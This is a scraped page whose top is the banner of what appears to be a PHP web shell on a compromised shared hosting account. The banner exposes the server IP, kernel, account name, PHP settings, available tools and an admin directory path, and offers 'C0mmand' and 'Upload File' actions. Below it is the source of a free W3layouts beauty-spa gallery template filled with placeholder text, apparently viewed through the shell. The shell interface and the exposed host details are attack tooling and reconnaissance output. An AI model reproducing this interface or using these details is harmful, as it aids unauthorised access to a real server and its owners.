|
Server IP : 162.214.80.37 / Your IP : 216.73.216.83 Web Server : Apache System : Linux sh013.webhostingservices.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64 User : imyrqtmy ( 2189) PHP Version : 8.2.18 Disable Function : NONE MySQL : OFF | cURL : ON | WGET : ON | Perl : ON | Python : ON Directory (0755) : /home2/imyrqtmy/public_html/asiatourhub/admin/site/ |
| [ Home ] | [ C0mmand ] | [ Upload File ] |
|---|
<!--
Author: W3layouts
Author URL: http://w3layouts.com
License: Creative Commons Attribution 3.0 Unported
License URL: http://creativecommons.org/licenses/by/3.0/
-->
<!DOCTYPE html>
<html lang="zxx">
<head>
<title>Skin Beauty Beauty & Spa Category Bootstrap Responsive Web Template | Gallery :: W3layouts</title>
<!-- Meta tag Keywords -->
<meta name="viewport" content="width=device-width, initial-scale=1">
<meta charset="UTF-8" />
<meta name="keywords" content="Skin Beauty Responsive web template, Bootstrap Web Templates, Flat Web Templates, Android Compatible web template, Smartphone Compatible web template, free webdesigns for Nokia, Samsung, LG, SonyEricsson, Motorola web design" />
<script>
addEventListener("load", function () {
setTimeout(hideURLbar, 0);
}, false);
function hideURLbar() {
window.scrollTo(0, 1);
}
</script>
<!-- //Meta tag Keywords -->
<!-- Custom-Files -->
<link rel="stylesheet" href="css/bootstrap.css">
<!-- Bootstrap-Core-CSS -->
<link rel="stylesheet" href="css/style.css" type="text/css" media="all" />
<!-- Style-CSS -->
<link href="css/font-awesome.min.css" rel="stylesheet">
<!-- Font-Awesome-Icons-CSS -->
<!-- //Custom-Files -->
<!-- Web-Fonts -->
<link href="//fonts.googleapis.com/css?family=Nunito+Sans:200,200i,300,300i,400,400i,600,600i,700,700i,800,800i,900,900i&subset=latin-ext,vietnamese"
rel="stylesheet">
<link href="//fonts.googleapis.com/css?family=Roboto+Condensed:300,300i,400,400i,700,700i&subset=cyrillic,cyrillic-ext,greek,greek-ext,latin-ext,vietnamese"
rel="stylesheet">
<!-- //Web-Fonts -->
</head>
<body>
<!-- main banner -->
<div class="main-top" id="home">
<!-- header -->
<header>
<div class="container-fluid">
<div class="header d-md-flex justify-content-between align-items-center py-3 px-xl-5 px-lg-3 px-2">
<!-- logo -->
<div id="logo">
<h1><a class="" href="index.html">Skin Beauty</a></h1>
</div>
<!-- //logo -->
<!-- nav -->
<div class="nav_w3ls">
<nav>
<label for="drop" class="toggle">Menu</label>
<input type="checkbox" id="drop" />
<ul class="menu">
<li><a href="index.html">Home</a></li>
<li class="mx-lg-4 mx-md-3 my-md-0 my-2"><a href="about.html">About Us</a></li>
<li><a href="gallery.html" class="active">Gallery</a></li>
<li class="mx-lg-4 mx-md-3 my-md-0 my-2">
<!-- First Tier Drop Down -->
<label for="drop-2" class="toggle toogle-2">Dropdown <span class="fa fa-angle-down" aria-hidden="true"></span>
</label>
<a href="#">Dropdown <span class="fa fa-angle-down" aria-hidden="true"></span></a>
<input type="checkbox" id="drop-2" />
<ul>
<li><a href="index.html" class="drop-text">Services</a></li>
<li><a href="blog.html" class="drop-text">Blog</a></li>
<li><a href="single.html" class="drop-text">Single Page</a></li>
<li><a href="about.html" class="drop-text">Testimonials</a></li>
</ul>
</li>
<li><a href="contact.html">Contact Us</a></li>
</ul>
</nav>
</div>
<!-- //nav -->
</div>
</div>
</header>
<!-- //header -->
<!-- banner -->
<div class="banner_w3lspvt-2">
</div>
<!-- //banner -->
</div>
<!-- //main banner -->
<!-- page details -->
<div class="breadcrumb-agile">
<ol class="breadcrumb">
<li class="breadcrumb-item">
<a href="index.html">Home</a>
</li>
<li class="breadcrumb-item active" aria-current="page">Gallery</li>
</ol>
</div>
<!-- //page details -->
<!-- gallery -->
<div class="gallery py-5" id="gallery">
<div class="container py-lg-5">
<h3 class="title text-center text-bl font-weight-bold mb-1">Our Gallery</h3>
<p class="title-sub text-center mb-sm-5 mb-4">Caption placed here</p>
<div class="news-grids pb-lg-5 text-center">
<div class="row">
<div class="col-md-4 gal-img">
<a href="#gal1"><img src="images/g1.jpg" alt="news image" class="img-fluid"></a>
</div>
<div class="col-md-4 gal-img my-md-0 my-4">
<a href="#gal2"><img src="images/g2.jpg" alt="news image" class="img-fluid"></a>
</div>
<div class="col-md-4 gal-img">
<a href="#gal3"><img src="images/g3.jpg" alt="news image" class="img-fluid"></a>
</div>
</div>
<div class="row my-4">
<div class="col-md-4 gal-img">
<a href="#gal4"><img src="images/g4.jpg" alt="news image" class="img-fluid"></a>
</div>
<div class="col-md-4 gal-img my-md-0 my-4">
<a href="#gal5"><img src="images/g5.jpg" alt="news image" class="img-fluid"></a>
</div>
<div class="col-md-4 gal-img">
<a href="#gal6"><img src="images/g6.jpg" alt="news image" class="img-fluid"></a>
</div>
</div>
<div class="row my-md-0 my-4">
<div class="col-md-4 gal-img">
<a href="#gal7"><img src="images/g7.jpg" alt="news image" class="img-fluid"></a>
</div>
<div class="col-md-4 gal-img my-md-0 my-4">
<a href="#gal8"><img src="images/g8.jpg" alt="news image" class="img-fluid"></a>
</div>
<div class="col-md-4 gal-img">
<a href="#gal9"><img src="images/g9.jpg" alt="news image" class="img-fluid"></a>
</div>
</div>
</div>
</div>
</div>
<!-- popup-->
<div id="gal1" class="popup-effect animate">
<div class="popup">
<img src="images/g1.jpg" alt="Popup Image" class="img-fluid" />
<p class="mt-4">Nulla viverra pharetra se, eget pulvinar neque pharetra ac int. placerat placerat dolor.</p>
<a class="close" href="#gallery">×</a>
</div>
</div>
<!-- //popup -->
<!-- popup-->
<div id="gal2" class="popup-effect animate">
<div class="popup">
<img src="images/g2.jpg" alt="Popup Image" class="img-fluid" />
<p class="mt-4">Nulla viverra pharetra se, eget pulvinar neque pharetra ac int. placerat placerat dolor.</p>
<a class="close" href="#gallery">×</a>
</div>
</div>
<!-- //popup -->
<!-- popup-->
<div id="gal3" class="popup-effect animate">
<div class="popup">
<img src="images/g3.jpg" alt="Popup Image" class="img-fluid" />
<p class="mt-4">Nulla viverra pharetra se, eget pulvinar neque pharetra ac int. placerat placerat dolor.</p>
<a class="close" href="#gallery">×</a>
</div>
</div>
<!-- //popup3 -->
<!-- popup-->
<div id="gal4" class="popup-effect animate">
<div class="popup">
<img src="images/g4.jpg" alt="Popup Image" class="img-fluid" />
<p class="mt-4">Nulla viverra pharetra se, eget pulvinar neque pharetra ac int. placerat placerat dolor.</p>
<a class="close" href="#gallery">×</a>
</div>
</div>
<!-- //popup -->
<!-- popup-->
<div id="gal5" class="popup-effect animate">
<div class="popup">
<img src="images/g5.jpg" alt="Popup Image" class="img-fluid" />
<p class="mt-4">Nulla viverra pharetra se, eget pulvinar neque pharetra ac int. placerat placerat dolor.</p>
<a class="close" href="#gallery">×</a>
</div>
</div>
<!-- //popup -->
<!-- popup-->
<div id="gal6" class="popup-effect animate">
<div class="popup">
<img src="images/g6.jpg" alt="Popup Image" class="img-fluid" />
<p class="mt-4">Nulla viverra pharetra se, eget pulvinar neque pharetra ac int. placerat placerat dolor.</p>
<a class="close" href="#gallery">×</a>
</div>
</div>
<!-- //popup -->
<!-- popup-->
<div id="gal7" class="popup-effect animate">
<div class="popup">
<img src="images/g7.jpg" alt="Popup Image" class="img-fluid" />
<p class="mt-4">Nulla viverra pharetra se, eget pulvinar neque pharetra ac int. placerat placerat dolor.</p>
<a class="close" href="#gallery">×</a>
</div>
</div>
<!-- //popup -->
<!-- popup-->
<div id="gal8" class="popup-effect animate">
<div class="popup">
<img src="images/g8.jpg" alt="Popup Image" class="img-fluid" />
<p class="mt-4">Nulla viverra pharetra se, eget pulvinar neque pharetra ac int. placerat placerat dolor.</p>
<a class="close" href="#gallery">×</a>
</div>
</div>
<!-- //popup -->
<!-- popup-->
<div id="gal9" class="popup-effect animate">
<div class="popup">
<img src="images/g9.jpg" alt="Popup Image" class="img-fluid" />
<p class="mt-4">Nulla viverra pharetra se, eget pulvinar neque pharetra ac int. placerat placerat dolor.</p>
<a class="close" href="#gallery">×</a>
</div>
</div>
<!-- //popup -->
<!-- //gallery -->
<!-- footer -->
<footer class="footer-w3ls py-5">
<div class="container py-sm-4">
<div class="row">
<div class="col-lg-3 col-sm-6 agileinfo_footer_grid">
<!-- logo -->
<div class="logo-2 mb-sm-4 mb-3">
<h2><a href="index.html">Skin Beauty</a></h2>
</div>
<!-- //logo -->
<p>Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur.</p>
</div>
<div class="col-lg-3 col-sm-6 agileinfo_footer_grid mt-sm-0 mt-5">
<h4 class="mb-sm-5 mb-4">Recent Articles</h4>
<ul class="list-unstyled">
<li>
<span class="fa fa-angle-double-right mr-2"></span> Ut enim ad minima ven aiam</li>
<li>
<span class="fa fa-angle-double-right mr-2"></span> Fugiat nulla pariatur
</li>
<li>
<span class="fa fa-angle-double-right mr-2"></span> Olor in repreh enderit</li>
<li>
<span class="fa fa-angle-double-right mr-2"></span>Duis aute irure dolor</li>
</ul>
</div>
<div class="col-lg-3 col-sm-6 agileinfo_footer_grid pl-lg-0 mt-lg-0 mt-5">
<h4 class="mb-sm-5 mb-4">Instagram Posts</h4>
<div class="d-flex">
<div class="col-sm-4 col-3 agileinfo_footer_grid1">
<a href="#">
<img src="images/f1.jpg" alt=" " class="img-fluid">
</a>
</div>
<div class="col-sm-4 col-3 agileinfo_footer_grid1">
<a href="#">
<img src="images/f2.jpg" alt=" " class="img-fluid">
</a>
</div>
<div class="col-sm-4 col-3 agileinfo_footer_grid1">
<a href="#">
<img src="images/f3.jpg" alt=" " class="img-fluid">
</a>
</div>
</div>
<div class="d-flex mt-2">
<div class="col-sm-4 col-3 agileinfo_footer_grid1">
<a href="#">
<img src="images/f4.jpg" alt=" " class="img-fluid">
</a>
</div>
<div class="col-sm-4 col-3 agileinfo_footer_grid1">
<a href="#">
<img src="images/f5.jpg" alt=" " class="img-fluid">
</a>
</div>
<div class="col-sm-4 col-3 agileinfo_footer_grid1">
<a href="#">
<img src="images/f6.jpg" alt=" " class="img-fluid">
</a>
</div>
</div>
</div>
<div class="col-lg-3 col-sm-6 agileinfo_footer_grid mt-lg-0 mt-5">
<h4 class="mb-sm-5 mb-4">Address</h4>
<ul class="list-unstyled">
<li>
<span class="fa fa-map-marker mr-2"></span> 738 Diamond Road, New York</li>
<li>
<span class="fa fa-envelope mr-2"></span>
<a href="mailto:info@example.com">info@example.com</a>
</li>
<li>
<span class="fa fa-phone mr-2"></span> (0123) 0111 111 222</li>
<li>
<span class="fa fa-clock-o mr-2"></span>Everyday 9:00-17:00</li>
</ul>
</div>
</div>
</div>
</footer>
<!-- //footer -->
<!-- footer last -->
<div class="newsletter-main text-center py-md-5 py-4">
<div class="container">
<a href="#home" class="move-top text-center"></a>
<!-- newsletter -->
<div class="agileinfo_footer_grid mt-3">
<h4 class="mb-4">Subscribe Here</h4>
<form action="#" method="post" class="newsletter">
<input class="email" type="email" name="email" placeholder="Your email..." required>
<button type="submit" class="btn">Subscribe</button>
</form>
<div class="clearfix"> </div>
</div>
<!-- //newsletter -->
<!-- copyright -->
<div class="w3agile_footer_copy mt-sm-5 mt-4">
<p>© 2019 Skin Beauty. All rights reserved | Design by
<a href="http://w3layouts.com/">W3layouts.</a>
</p>
</div>
<!-- //copyright -->
</div>
</div>
<!-- //footer last -->
</body>
</html>